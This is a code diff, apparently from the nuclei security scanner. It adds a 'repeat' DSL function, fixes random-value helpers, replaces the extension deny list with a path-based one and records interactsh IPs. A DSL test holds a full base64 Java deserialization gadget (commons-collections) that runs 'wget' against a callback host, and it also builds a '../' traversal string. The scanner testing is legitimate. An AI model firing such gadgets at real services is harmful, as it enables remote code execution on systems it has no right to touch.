github.com/andres-erbsen/clock v0.0.0-20160526145045-9e14626cd129 h1:MzBOUgng9orim59UnfUTLRjMpd09C5uEVQ6RPGeCaVI=
github.com/andres-erbsen/clock v0.0.0-20160526145045-9e14626cd129/go.mod h1:rFgpPQZYZ8vdbc+48xibu8ALc3yeyd64IhHS+PU6Yyg=
@ -501,6 +503,7 @@ github.com/miekg/dns v1.1.43 h1:JKfpVSCB84vrAmHzyrsxB5NAr5kLoMXZArPSw7Qlgyg=
github.com/miekg/dns v1.1.43/go.mod h1:+evo5L0630/F6ca/Z9+GAqzhjGyn8/c+TBaOyfEl0V4=
github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc=
github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y=
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI=
github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg=
@ -551,6 +554,8 @@ github.com/onsi/gomega v1.10.5/go.mod h1:gza4q3jKQJijlu05nKWRCW/GavJumGt8aNRxWg7
github.com/onsi/gomega v1.12.0 h1:p4oGGk2M2UJc0wWN4lHFvIB71lxsh0T/UiKCCgFADY8=
github.com/onsi/gomega v1.12.0/go.mod h1:lRk9szgn8TxENtWd0Tp4c3wjlRfMTMH27I+3Je41yGY=
github.com/op/go-logging v0.0.0-20160315200505-970db520ece7/go.mod h1:HzydrMdWErDVzsI23lYNej1Htcns9BCg93Dk0bBINWk=
github.com/openrdap/rdap v0.9.0 h1:qaicAQD7XLPH8k4B8FQ6OnBL10joHt2xTREFA38T+wA=
github.com/openrdap/rdap v0.9.0/go.mod h1:Z9b01CBKIgQsX1JzmmhkhoQfdWYchgCP6B4QfKXSdD0=
github.com/opentracing-contrib/go-observer v0.0.0-20170622124052-a52f23424492/go.mod h1:Ngi6UdF0k5OKD5t5wlmGhe/EDKPoUM3BXZSSfIuJbis=
github.com/opentracing/basictracer-go v1.0.0/go.mod h1:QfBfYuafItcjQuMwinw9GhYKwFXS9KnPs5lxoYwgW74=
github.com/opentracing/opentracing-go v1.0.2/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
@ -1209,6 +1214,7 @@ google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp0
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
google.golang.org/protobuf v1.27.1 h1:SnqbnDw1V7RiZcXPx5MEeqPv2s79L9i7BJUlG/+RurQ=
google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
gopkg.in/alecthomas/kingpin.v2 v2.2.6 h1:jMFz6MfLP0/4fUyZle81rXUoxOBFi19VUFKVDOQfozc=
gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=

View File

@ -29,6 +29,10 @@ func ParseOptions(options *types.Options) {
// Show the user the banner
showBanner()
if !filepath.IsAbs(options.TemplatesDirectory) {
cwd, _ := os.Getwd()
options.TemplatesDirectory = filepath.Join(cwd, options.TemplatesDirectory)
}
if options.Version {
gologger.Info().Msgf("Current Version: %s\n", config.Version)
os.Exit(0)

View File

@ -73,7 +73,7 @@ func New(options *types.Options) (*Runner, error) {
options.NoUpdateTemplates = true
}
if err := runner.updateTemplates(); err != nil {
gologger.Warning().Msgf("Could not update templates: %s\n", err)
gologger.Error().Msgf("Could not update templates: %s\n", err)
}
if options.Headless {
if engine.MustDisableSandbox() {

View File

@ -119,7 +119,7 @@ func (r *Runner) updateTemplates() error { // TODO this method does more than ju
if err := config.WriteConfiguration(r.templatesConfig); err != nil {
return err
}
gologger.Info().Msgf("Successfully downloaded nuclei-templates (v%s). GoodLuck!\n", version.String())
gologger.Info().Msgf("Successfully downloaded nuclei-templates (v%s) to %s. GoodLuck!\n", version.String(), r.templatesConfig.TemplatesDirectory)
return nil
}
@ -135,13 +135,13 @@ func (r *Runner) updateTemplates() error { // TODO this method does more than ju
return config.WriteConfiguration(r.templatesConfig)
}
if err := updateTemplates(latestVersion, currentVersion, r, ctx); err != nil {
if err := r.updateTemplatesWithVersion(latestVersion, currentVersion, r, ctx); err != nil {
return err
}
return nil
}
func updateTemplates(latestVersion semver.Version, currentVersion semver.Version, runner *Runner, ctx context.Context) error {
func (r *Runner) updateTemplatesWithVersion(latestVersion semver.Version, currentVersion semver.Version, runner *Runner, ctx context.Context) error {
if latestVersion.GT(currentVersion) {
gologger.Info().Msgf("Your current nuclei-templates v%s are outdated. Latest is v%s\n", currentVersion, latestVersion.String())
gologger.Info().Msgf("Downloading latest release...")
@ -163,7 +163,7 @@ func updateTemplates(latestVersion semver.Version, currentVersion semver.Version
if err := config.WriteConfiguration(runner.templatesConfig); err != nil {
return err
}
gologger.Info().Msgf("Successfully updated nuclei-templates (v%s). GoodLuck!\n", latestVersion.String())
gologger.Info().Msgf("Successfully updated nuclei-templates (v%s) to %s. GoodLuck!\n", latestVersion.String(), r.templatesConfig.TemplatesDirectory)
}
return nil
}
@ -200,10 +200,6 @@ func (r *Runner) readInternalConfigurationFile(home, configDir string) error {
return readErr
}
r.templatesConfig = configuration
if configuration.TemplatesDirectory != "" && configuration.TemplatesDirectory != filepath.Join(home, "nuclei-templates") {
r.options.TemplatesDirectory = configuration.TemplatesDirectory
}
}
return nil
}

View File

@ -26,7 +26,7 @@ type Config struct {
const nucleiConfigFilename = ".templates-config.json"
// Version is the current version of nuclei
const Version = `2.5.5`
const Version = `2.5.6`
func getConfigDetails() (string, error) {
homeDir, err := os.UserHomeDir()

View File

@ -56,6 +56,13 @@ func init() {
"to_lower": makeDslFunction(1, func(args ...interface{}) (interface{}, error) {
return strings.ToLower(types.ToString(args[0])), nil
}),
"repeat": makeDslFunction(2, func(args ...interface{}) (interface{}, error) {
count, err := strconv.Atoi(types.ToString(args[1]))
if err != nil {
return nil, invalidDslFunctionError
}
return strings.Repeat(types.ToString(args[0]), count), nil
}),
"replace": makeDslFunction(3, func(args ...interface{}) (interface{}, error) {
return strings.ReplaceAll(types.ToString(args[0]), types.ToString(args[1]), types.ToString(args[2])), nil
}),
@ -174,10 +181,13 @@ func init() {
}
if argSize >= 1 {
charSet = types.ToString(args[0])
inputCharSet := types.ToString(args[0])
if strings.TrimSpace(inputCharSet) != "" {
charSet = inputCharSet
}
}
return charSet[rand.Intn(len(charSet))], nil
return string(charSet[rand.Intn(len(charSet))]), nil
},
),
"rand_base": makeDslWithOptionalArgsFunction(
@ -194,7 +204,10 @@ func init() {
length = int(args[0].(float64))
if argSize == 2 {
charSet = types.ToString(args[1])
inputCharSet := types.ToString(args[1])
if strings.TrimSpace(inputCharSet) != "" {
charSet = inputCharSet
}
}
return randSeq(charSet, length), nil
},
@ -247,7 +260,7 @@ func init() {
return nil, invalidDslFunctionError
}
length := args[0].(int)
length := int(args[0].(float64))
badNumbers := ""
if argSize == 2 {
@ -262,7 +275,7 @@ func init() {
"(optionalMin, optionalMax uint) int",
func(args ...interface{}) (interface{}, error) {
argSize := len(args)
if argSize >= 2 {
if argSize > 2 {
return nil, invalidDslFunctionError
}
@ -270,10 +283,10 @@ func init() {
max := math.MaxInt32
if argSize >= 1 {
min = args[0].(int)
min = int(args[0].(float64))
}
if argSize == 2 {
max = args[1].(int)
max = int(args[1].(float64))
}
return rand.Intn(max-min) + min, nil
},
@ -294,7 +307,7 @@ func init() {
if argSize != 0 && argSize != 1 {
return nil, invalidDslFunctionError
} else if argSize == 1 {
seconds = int(args[0].(uint))
seconds = int(args[0].(float64))
}
offset := time.Now().Add(time.Duration(seconds) * time.Second)
@ -307,7 +320,7 @@ func init() {
if len(args) != 1 {
return nil, invalidDslFunctionError
}
seconds := args[0].(uint)
seconds := args[0].(float64)
time.Sleep(time.Duration(seconds) * time.Second)
return true, nil
},

View File

@ -4,6 +4,7 @@ import (
"compress/gzip"
"fmt"
"io/ioutil"
"math"
"regexp"
"strings"
"testing"
@ -50,7 +51,7 @@ func TestDSLGzipSerialize(t *testing.T) {
require.Equal(t, "hello world", string(data), "could not get gzip encoded data")
}
func Test1(t *testing.T) {
func TestDslFunctionSignatures(t *testing.T) {
type testCase struct {
methodName string
arguments []interface{}
@ -116,6 +117,7 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) {
rand_text_numeric(length uint, optionalBadNumbers string) string
regex(arg1, arg2 interface{}) interface{}
remove_bad_chars(arg1, arg2 interface{}) interface{}
repeat(arg1, arg2 interface{}) interface{}
replace(arg1, arg2, arg3 interface{}) interface{}
replace_regex(arg1, arg2, arg3 interface{}) interface{}
reverse(arg1 interface{}) interface{}
@ -145,3 +147,130 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) {
assert.Equal(t, expectedSignaturesWithoutColor, GetPrintableDslFunctionSignatures(true))
})
}
func TestDslExpressions(t *testing.T) {
dslExpressions := map[string]interface{}{
`base64("Hello")`: "SGVsbG8=",
`base64(1234)`: "MTIzNA==",
`base64_py("Hello")`: "SGVsbG8=\n",
`hex_encode("aa")`: "6161",
`html_escape("<body>test</body>")`: "&lt;body&gt;test&lt;/body&gt;",
`html_unescape("&lt;body&gt;test&lt;/body&gt;")`: "<body>test</body>",
`md5("Hello")`: "8b1a9953c4611296a827abf8c47804d7",
`md5(1234)`: "81dc9bdb52d04dc20036dbd8313ed055",
`mmh3("Hello")`: "316307400",
`remove_bad_chars("abcd", "bc")`: "ad",
`replace("Hello", "He", "Ha")`: "Hallo",
`repeat("a", 5)`: "aaaaa",
`repeat("a", "5")`: "aaaaa",
`repeat("../", "5")`: "../../../../../",
`repeat(5, 5)`: "55555",
`replace_regex("He123llo", "(\\d+)", "")`: "Hello",
`reverse("abc")`: "cba",
`sha1("Hello")`: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0",
`sha256("Hello")`: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969",
`to_lower("HELLO")`: "hello",
`to_upper("hello")`: "HELLO",
`trim("aaaHelloddd", "ad")`: "Hello",
`trim_left("aaaHelloddd", "ad")`: "Helloddd",
`trim_prefix("aaHelloaa", "aa")`: "Helloaa",
`trim_right("aaaHelloddd", "ad")`: "aaaHello",
`trim_space(" Hello ")`: "Hello",
`trim_suffix("aaHelloaa", "aa")`: "aaHello",
`url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")`: "https://projectdiscovery.io?test=1",
`url_encode("https://projectdiscovery.io/test?a=1")`: "https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1",
`gzip("Hello")`: "\x1f\x8b\b\x00\x00\x00\x00\x00\x00\xff\xf2H\xcd\xc9\xc9\a\x04\x00\x00\xff\xff\x82\x89\xd1\xf7\x05\x00\x00\x00",
`generate_java_gadget("commons-collections3.1", "wget https://{{interactsh-url}}", "base64")`: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAJmh0dHBzOi8vZ2l0aHViLmNvbS9qb2FvbWF0b3NmL2pleGJvc3Mgc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2Bj/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2BABtzcQB%2BABN1cQB%2BABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB%2BABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAH3dnZXQgaHR0cHM6Ly97e2ludGVyYWN0c2gtdXJsfX10AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==",
`base64_decode("SGVsbG8=")`: []byte{0x48, 0x65, 0x6c, 0x6c, 0x6f},
`hex_decode("6161")`: []byte{0x61, 0x61},
`len("Hello")`: float64(5),
`len(1234)`: float64(4),
`contains("Hello", "lo")`: true,
`regex("H([a-z]+)o", "Hello")`: true,
`wait_for(1)`: nil,
`print_debug(1+2, "Hello")`: nil,
}
for dslExpression, expectedResult := range dslExpressions {
t.Run(dslExpression, func(t *testing.T) {
actualResult := evaluateExpression(t, dslExpression)
if expectedResult != nil {
assert.Equal(t, expectedResult, actualResult)
}
fmt.Printf("%s: \t %v\n", dslExpression, actualResult)
})
}
}
func TestRandDslExpressions(t *testing.T) {
randDslExpressions := map[string]string{
`rand_base(10, "")`: `[a-zA-Z0-9]{10}`,
`rand_base(5, "abc")`: `[abc]{5}`,
`rand_base(5)`: `[a-zA-Z0-9]{5}`,
`rand_char("abc")`: `[abc]{1}`,
`rand_char("")`: `[a-zA-Z0-9]{1}`,
`rand_char()`: `[a-zA-Z0-9]{1}`,
`rand_text_alpha(10, "abc")`: `[^abc]{10}`,
`rand_text_alpha(10, "")`: `[a-zA-Z]{10}`,
`rand_text_alpha(10)`: `[a-zA-Z]{10}`,
`rand_text_alphanumeric(10, "ab12")`: `[^ab12]{10}`,
`rand_text_alphanumeric(5, "")`: `[a-zA-Z0-9]{5}`,
`rand_text_alphanumeric(10)`: `[a-zA-Z0-9]{10}`,
`rand_text_numeric(10, 123)`: `[^123]{10}`,
`rand_text_numeric(10)`: `\d{10}`,
}
for randDslExpression, regexTester := range randDslExpressions {
t.Run(randDslExpression, func(t *testing.T) {
actualResult := evaluateExpression(t, randDslExpression)
compiledTester := regexp.MustCompile(fmt.Sprintf("^%s$", regexTester))
fmt.Printf("%s: \t %v\n", randDslExpression, actualResult)
stringResult := types.ToString(actualResult)
assert.True(t, compiledTester.MatchString(stringResult), "The result '%s' of '%s' expression does not match the expected regex: '%s'", actualResult, randDslExpression, regexTester)
})
}
}
func TestRandIntDslExpressions(t *testing.T) {
randIntDslExpressions := map[string]func(int) bool{
`rand_int(5, 9)`: func(i int) bool {
return i >= 5 && i <= 9
},
`rand_int(9)`: func(i int) bool {
return i >= 9
},
`rand_int()`: func(i int) bool {
return i >= 0 && i <= math.MaxInt32
},
}
for randIntDslExpression, tester := range randIntDslExpressions {
t.Run(randIntDslExpression, func(t *testing.T) {
actualResult := evaluateExpression(t, randIntDslExpression)
actualIntResult := actualResult.(int)
assert.True(t, tester(actualIntResult), "The '%d' result of the '%s' expression, does not match th expected validation function.", actualIntResult, randIntDslExpression)
})
}
}
func evaluateExpression(t *testing.T, dslExpression string) interface{} {
compiledExpression, err := govaluate.NewEvaluableExpressionWithFunctions(dslExpression, HelperFunctions())
require.NoError(t, err, "Error while compiling the %q expression", dslExpression)
actualResult, err := compiledExpression.Evaluate(make(map[string]interface{}))
require.NoError(t, err, "Error while evaluating the compiled %q expression", dslExpression)
for _, negativeTestWord := range []string{"panic", "invalid", "error"} {
require.NotContains(t, fmt.Sprintf("%v", actualResult), negativeTestWord)
}
return actualResult
}

View File

@ -154,7 +154,7 @@ func (matcher *Matcher) MatchBinary(corpus string) (bool, []string) {
// MatchDSL matches on a generic map result
func (matcher *Matcher) MatchDSL(data map[string]interface{}) bool {
logExpressionEvaluationFailure := func (matcherName string, err error) {
logExpressionEvaluationFailure := func(matcherName string, err error) {
gologger.Warning().Msgf("Could not evaluate expression: %s, error: %s", matcherName, err.Error())
}

View File

@ -165,6 +165,7 @@ func (c *Client) processInteractionForRequest(interaction *server.Interaction, d
data.Event.InternalEvent["interactsh_protocol"] = interaction.Protocol
data.Event.InternalEvent["interactsh_request"] = interaction.RawRequest
data.Event.InternalEvent["interactsh_response"] = interaction.RawResponse
data.Event.InternalEvent["interactsh_ip"] = interaction.RemoteAddress
result, matched := data.Operators.Execute(data.Event.InternalEvent, data.MatchFunc, data.ExtractFunc, false)
if !matched || result == nil {
return false // if we don't match, return
@ -177,6 +178,9 @@ func (c *Client) processInteractionForRequest(interaction *server.Interaction, d
data.Event.OperatorsResult = result
}
data.Event.Results = data.MakeResultFunc(data.Event)
for _, event := range data.Event.Results {
event.Interaction = interaction
}
if writer.WriteResult(data.Event, c.options.Output, c.options.Progress, c.options.IssuesClient) {
c.matched = true

View File

@ -1,6 +1,7 @@
package file
import (
"path/filepath"
"strings"
"github.com/pkg/errors"
@ -19,13 +20,13 @@ type Request struct {
// - value: '[]string{".txt", ".go", ".json"}'
Extensions []string `yaml:"extensions,omitempty" jsonschema:"title=extensions to match,description=List of extensions to perform matching on"`
// description: |
// ExtensionDenylist is the list of file extensions to deny during matching.
// DenyList is the list of file, directories or extensions to deny during matching.
//
// By default, it contains some non-interesting extensions that are hardcoded
// in nuclei.
// examples:
// - value: '[]string{".avi", ".mov", ".mp3"}'
ExtensionDenylist []string `yaml:"denylist,omitempty" jsonschema:"title=extensions to deny match,description=List of file extensions to deny during matching"`
DenyList []string `yaml:"denylist,omitempty" jsonschema:"title=denylist, directories and extentions to deny match,description=List of files, directories and extensions to deny during matching"`
// ID is the optional id of the request
ID string `yaml:"id,omitempty" jsonschema:"title=id of the request,description=ID is the optional ID for the request"`
@ -41,9 +42,9 @@ type Request struct {
CompiledOperators *operators.Operators `yaml:"-"`
// cache any variables that may be needed for operation.
options *protocols.ExecuterOptions
extensions map[string]struct{}
extensionDenylist map[string]struct{}
options *protocols.ExecuterOptions
extensions map[string]struct{}
denyList map[string]struct{}
// description: |
// NoRecursive specifies whether to not do recursive checks if folders are provided.
@ -89,7 +90,7 @@ func (request *Request) Compile(options *protocols.ExecuterOptions) error {
request.options = options
request.extensions = make(map[string]struct{})
request.extensionDenylist = make(map[string]struct{})
request.denyList = make(map[string]struct{})
for _, extension := range request.Extensions {
if extension == "all" {
@ -101,17 +102,17 @@ func (request *Request) Compile(options *protocols.ExecuterOptions) error {
request.extensions[extension] = struct{}{}
}
}
for _, extension := range defaultDenylist {
if !strings.HasPrefix(extension, ".") {
extension = "." + extension
// process default denylist (extensions)
for _, excludeItem := range defaultDenylist {
if !strings.HasPrefix(excludeItem, ".") {
excludeItem = "." + excludeItem
}
request.extensionDenylist[extension] = struct{}{}
request.denyList[excludeItem] = struct{}{}
}
for _, extension := range request.ExtensionDenylist {
if !strings.HasPrefix(extension, ".") {
extension = "." + extension
}
request.extensionDenylist[extension] = struct{}{}
for _, excludeItem := range request.DenyList {
request.denyList[excludeItem] = struct{}{}
// also add a cleaned version as the exclusion path can be dirty (eg. /a/b/c, /a/b/c/, a///b///c/../d)
request.denyList[filepath.Clean(excludeItem)] = struct{}{}
}
return nil
}

View File

@ -16,11 +16,11 @@ func TestFileCompile(t *testing.T) {
testutils.Init(options)
templateID := "testing-file"
request := &Request{
ID: templateID,
MaxSize: 1024,
NoRecursive: false,
Extensions: []string{"all", ".lock"},
ExtensionDenylist: []string{".go"},
ID: templateID,
MaxSize: 1024,
NoRecursive: false,
Extensions: []string{"all", ".lock"},
DenyList: []string{".go"},
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
@ -29,7 +29,7 @@ func TestFileCompile(t *testing.T) {
err := request.Compile(executerOpts)
require.Nil(t, err, "could not compile file request")
require.Contains(t, request.extensionDenylist, ".go", "could not get .go in denylist")
require.Contains(t, request.denyList, ".go", "could not get .go in denylist")
require.NotContains(t, request.extensions, ".go", "could get .go in allowlist")
require.True(t, request.allExtensions, "could not get correct allExtensions")
}

View File

@ -7,7 +7,7 @@ import (
"github.com/karrick/godirwalk"
"github.com/pkg/errors"
"github.com/projectdiscovery/folderutil"
"github.com/projectdiscovery/gologger"
)
@ -51,7 +51,7 @@ func (request *Request) findGlobPathMatches(absPath string, processed map[string
return errors.Errorf("wildcard found, but unable to glob: %s\n", err)
}
for _, match := range matches {
if !request.validatePath(match) {
if !request.validatePath(absPath, match) {
continue
}
if _, ok := processed[match]; !ok {
@ -73,7 +73,7 @@ func (request *Request) findFileMatches(absPath string, processed map[string]str
return false, nil
}
if _, ok := processed[absPath]; !ok {
if !request.validatePath(absPath) {
if !request.validatePath(absPath, absPath) {
return false, nil
}
processed[absPath] = struct{}{}
@ -93,7 +93,7 @@ func (request *Request) findDirectoryMatches(absPath string, processed map[strin
if d.IsDir() {
return nil
}
if !request.validatePath(path) {
if !request.validatePath(absPath, path) {
return nil
}
if _, ok := processed[path]; !ok {
@ -107,7 +107,7 @@ func (request *Request) findDirectoryMatches(absPath string, processed map[strin
}
// validatePath validates a file path for blacklist and whitelist options
func (request *Request) validatePath(item string) bool {
func (request *Request) validatePath(absPath, item string) bool {
extension := filepath.Ext(item)
if len(request.extensions) > 0 {
@ -117,9 +117,81 @@ func (request *Request) validatePath(item string) bool {
return false
}
}
if _, ok := request.extensionDenylist[extension]; ok {
gologger.Verbose().Msgf("Ignoring path %s due to denylist item %s\n", item, extension)
if matchingRule, ok := request.isInDenyList(absPath, item); ok {
gologger.Verbose().Msgf("Ignoring path %s due to denylist item %s\n", item, matchingRule)
return false
}
return true
}
func (request *Request) isInDenyList(absPath, item string) (string, bool) {
extension := filepath.Ext(item)
// check for possible deny rules
// - extension is in deny list
if _, ok := request.denyList[extension]; ok {
return extension, true
}
// - full path is in deny list
if _, ok := request.denyList[item]; ok {
return item, true
}
// file is in a forbidden subdirectory
filename := filepath.Base(item)
fullPathWithoutFilename := strings.TrimSuffix(item, filename)
relativePathWithFilename := strings.TrimPrefix(item, absPath)
relativePath := strings.TrimSuffix(relativePathWithFilename, filename)
// - filename is in deny list
if _, ok := request.denyList[filename]; ok {
return filename, true
}
// - relative path is in deny list
if _, ok := request.denyList[relativePath]; ok {
return relativePath, true
}
// relative path + filename are in the forbidden list
if _, ok := request.denyList[relativePathWithFilename]; ok {
return relativePathWithFilename, true
}
// root path + relative path are in the forbidden list
if _, ok := request.denyList[fullPathWithoutFilename]; ok {
return fullPathWithoutFilename, true
}
// check any progressive combined part of the relative and absolute path with filename for matches within rules prefixes
if pathTreeItem, ok := request.isAnyChunkInDenyList(relativePath, false); ok {
return pathTreeItem, true
}
if pathTreeItem, ok := request.isAnyChunkInDenyList(item, true); ok {
return pathTreeItem, true
}
return "", false
}
func (request *Request) isAnyChunkInDenyList(path string, splitWithUtils bool) (string, bool) {
var paths []string
if splitWithUtils {
pathInfo, _ := folderutil.NewPathInfo(path)
paths, _ = pathInfo.Paths()
} else {
pathTree := strings.Split(path, string(os.PathSeparator))
for i := range pathTree {
paths = append(paths, filepath.Join(pathTree[:i]...))
}
}
for _, pathTreeItem := range paths {
if _, ok := request.denyList[pathTreeItem]; ok {
return pathTreeItem, true
}
}
return "", false
}

View File

@ -19,11 +19,11 @@ func TestFindInputPaths(t *testing.T) {
testutils.Init(options)
templateID := "testing-file"
request := &Request{
ID: templateID,
MaxSize: 1024,
NoRecursive: false,
Extensions: []string{"all", ".lock"},
ExtensionDenylist: []string{".go"},
ID: templateID,
MaxSize: 1024,
NoRecursive: false,
Extensions: []string{"all", ".lock"},
DenyList: []string{".go"},
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,

View File

@ -20,11 +20,11 @@ func TestResponseToDSLMap(t *testing.T) {
testutils.Init(options)
templateID := "testing-file"
request := &Request{
ID: templateID,
MaxSize: 1024,
NoRecursive: false,
Extensions: []string{"*", ".lock"},
ExtensionDenylist: []string{".go"},
ID: templateID,
MaxSize: 1024,
NoRecursive: false,
Extensions: []string{"*", ".lock"},
DenyList: []string{".go"},
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
@ -45,11 +45,11 @@ func TestFileOperatorMatch(t *testing.T) {
testutils.Init(options)
templateID := "testing-file"
request := &Request{
ID: templateID,
MaxSize: 1024,
NoRecursive: false,
Extensions: []string{"*", ".lock"},
ExtensionDenylist: []string{".go"},
ID: templateID,
MaxSize: 1024,
NoRecursive: false,
Extensions: []string{"*", ".lock"},
DenyList: []string{".go"},
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
@ -133,11 +133,11 @@ func TestFileOperatorExtract(t *testing.T) {
testutils.Init(options)
templateID := "testing-file"
request := &Request{
ID: templateID,
MaxSize: 1024,
NoRecursive: false,
Extensions: []string{"*", ".lock"},
ExtensionDenylist: []string{".go"},
ID: templateID,
MaxSize: 1024,
NoRecursive: false,
Extensions: []string{"*", ".lock"},
DenyList: []string{".go"},
}
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: templateID,
@ -240,11 +240,11 @@ func testFileMakeResult(t *testing.T, matchers []*matchers.Matcher, matcherCondi
testutils.Init(options)
templateID := "testing-file"
request := &Request{
ID: templateID,
MaxSize: 1024,
NoRecursive: false,
Extensions: []string{"*", ".lock"},
ExtensionDenylist: []string{".go"},
ID: templateID,
MaxSize: 1024,
NoRecursive: false,
Extensions: []string{"*", ".lock"},
DenyList: []string{".go"},
Operators: operators.Operators{
MatchersCondition: matcherCondition,
Matchers: matchers,

View File

@ -23,11 +23,11 @@ func TestFileExecuteWithResults(t *testing.T) {
testutils.Init(options)
templateID := "testing-file"
request := &Request{
ID: templateID,
MaxSize: 1024,
NoRecursive: false,
Extensions: []string{"all"},
ExtensionDenylist: []string{".go"},
ID: templateID,
MaxSize: 1024,
NoRecursive: false,
Extensions: []string{"all"},
DenyList: []string{".go"},
Operators: operators.Operators{
Matchers: []*matchers.Matcher{{
Name: "test",

View File

@ -8,7 +8,7 @@ import (
"io"
"io/ioutil"
"net/url"
"path/filepath"
"path"
"strings"
"github.com/projectdiscovery/rawhttp/client"
@ -30,7 +30,7 @@ func Parse(request, baseURL string, unsafe bool) (*Request, error) {
rawRequest := &Request{
Headers: make(map[string]string),
}
parsedURL, err := url.Parse(baseURL)
if err != nil {
return nil, fmt.Errorf("could not parse request URL: %w", err)
@ -143,7 +143,7 @@ func Parse(request, baseURL string, unsafe bool) (*Request, error) {
}
func fixUnsafeRequestPath(baseURL *url.URL, requestPath string, request []byte) []byte {
fixedPath := filepath.Join(baseURL.Path, requestPath)
fixedPath := path.Join(baseURL.Path, requestPath)
fixed := bytes.Replace(request, []byte(requestPath), []byte(fixedPath), 1)
return fixed
}

View File

@ -0,0 +1,192 @@
package whois
import (
"net/url"
"strings"
"time"
jsoniter "github.com/json-iterator/go"
"github.com/openrdap/rdap"
"github.com/pkg/errors"
"github.com/projectdiscovery/gologger"
